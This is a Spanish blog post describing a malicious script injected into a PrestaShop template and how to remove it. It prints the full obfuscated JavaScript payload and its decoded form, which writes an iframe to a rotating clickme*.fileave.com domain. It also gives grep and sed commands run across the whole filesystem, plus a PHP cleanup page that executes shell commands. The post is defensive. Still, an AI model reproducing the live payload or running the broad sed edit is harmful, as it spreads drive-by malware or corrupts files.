www.enagora.com

Banner

Un script se ha colado en mi Prestashop

 

Ha sido una sorpresa cuando hoy al abrir una web de prestashop que estaba desarrollando he visto que en la plantilla base han injectado un script. Gracias al antivirus Avast, el cual en su version gratuita me parece impresionante lo bien que funciona y los pocos recursos que consume. Me ha advertido de un troyano al cargar la página.

He leido que la mejor opcion es actualizar Prestashop a la ultima version, pero ¿Que pasas con el script que ya esta injectado?

Y me he puesto a ello. Primero vamos a identificar el codigo injectado. Yo en mi comercio tenia la siguiente linea:

<script>String.prototype.asd=function(){return String.fromCharCode;};Object.prototype.asd="e";try{for(i in{})if(~i.indexOf('as'))throw 1;}catch(q){zxc={};}v=document.createTextNode('asd');var s="";for(i in v)if(i=='childNodes')o=v.length+1;o*=2;e=eval;m=[120-o,99-o,116-o,34-o,102-o,34-o,63-o,34-o,112-o,103-o,121-o,34-o,70-o,99-o,118-o,103-o,42-o,43-o,61-o,120-o,99-o,116-o,34-o,122-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,79-o,99-o,118-o,106-o,48-o,104-o,110-o,113-o,113-o,116-o,42-o,102-o,48-o,105-o,103-o,118-o,70-o,99-o,118-o,103-o,42-o,43-o,49-o,52-o,43-o,45-o,59-o,57-o,43-o,61-o,34-o,120-o,99-o,116-o,34-o,123-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,102-o,48-o,105-o,103-o,118-o,74-o,113-o,119-o,116-o,117-o,42-o,43-o,45-o,59-o,57-o,43-o,61-o,102-o,113-o,101-o,119-o,111-o,103-o,112-o,118-o,48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o,116-o,99-o,111-o,103-o,34-o,117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,49-o,101-o,110-o,107-o,101-o,109-o,111-o,103-o,36-o,45-o,122-o,45-o,123-o,45-o,36-o,48-o,104-o,107-o,110-o,103-o,99-o,120-o,103-o,48-o,101-o,113-o,111-o,41-o,34-o,121-o,107-o,102-o,118-o,106-o,63-o,50-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,50-o,64-o,36-o,43-o,61-o];mm=''.asd();for(i=0;i<m.length;i++)s+=mm(e("m"+"["+"i"+"]"));e(s);</script>

Así tal cual, un codigo dificilmente descifrable a simple vista. Pero si leemos detenidamente, vemos que este codigo trata de hacer un eval() de esa cadena enorme de numeros y letras.

De esta cadena, lo mas "dificil" es encontrar el valo de 'o' (en mi caso 2) una vez que tenemos 'o' solo hay que reescribir el array de numeros y pasarlos a ASCII, aqui el resultado:

var d = new Date();var x=String.fromCharCode(Math.floor(d.getDate()/2)+97); var y=String.fromCharCode(d.getHours()+97);document.write("<iframe src='http://clickme"+x+y+".fileave.com' width=510 height=510>"); 

Resumiendo, todo eso para crear un iframe que redirige a una direccion que el sabra lo que pretende hacer con ello. Seguramente unicamente fastidiar. Aqui nos hemos puesto rapidamente con ello y hemos limpiado rapidamente todo el contenido relacionado de nuestro Prestashop. Vamos a explicar rapidamente los pasos a seguir. Si somos administradores de nuestro sistema y podemos acceder al simbolo de sistema de nuestro servidor (Linux/Unix) podremos lanzar la siguiente linea de comando para detectar si tenemos el codigo injectado:

find / -iname "*" -type f |xargs grep 'asd=function(){return String.fromCharCode;' -sl

hemos seleccionado 'asd=function(){return String.fromCharCode;' como cadena a buscar por que es bastante caracteristica y dificilmente de encontrarla repetida. Si la busqueda nos devuelve algun resultado podemos ojear los archivos para asegurarnos de que es el codigo buscado. Si no devuelve resultados podemos estar tranquilos, al menos referente a esta injeccion.

Pero si el resultado fue SI aqui tenemos la linea de comando para elimiar dicho codigo:

find / -name "*" -type f |xargs sed -i 's/.*asd=function(){return String.fromCharCode;.*/<\/body>/'

(aseguraros de que en los archivos modificados no aparece la etiqueta <body> repetida) Ahora ya tendremos limpio nuestro comercio y sin esta injeccion.

 

Si no tenemos acceso al simbolo de sistema del servidor podemos crear un archivo .php en el raiz de Prestashop con el siguiente codigo:


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>

<title>Enagora Malware solution</title>
<link rel="stylesheet" type="text/css" href="/my.css">
</head>
<body>
Script Enagora solution para eliminar Malware
<br />
Eliminando infeccion...
<br />
<br />
<?php
set_time_limit(0);
$dir = "../";
$rmcode = `find $dir -iname "*" -type f |xargs grep 'asd=function(){return String.fromCharCode;' -sl`;
echo $rmcode ."<br />";
$rmcode = `find $dir -name "*" -type f |xargs sed -i 's/.*asd=function(){return String.fromCharCode;.*/<\/body>/' 2>&1`;
?>
<br />
Completado.
</body>
</html>

 

Espero que os haya servido de ayuda!!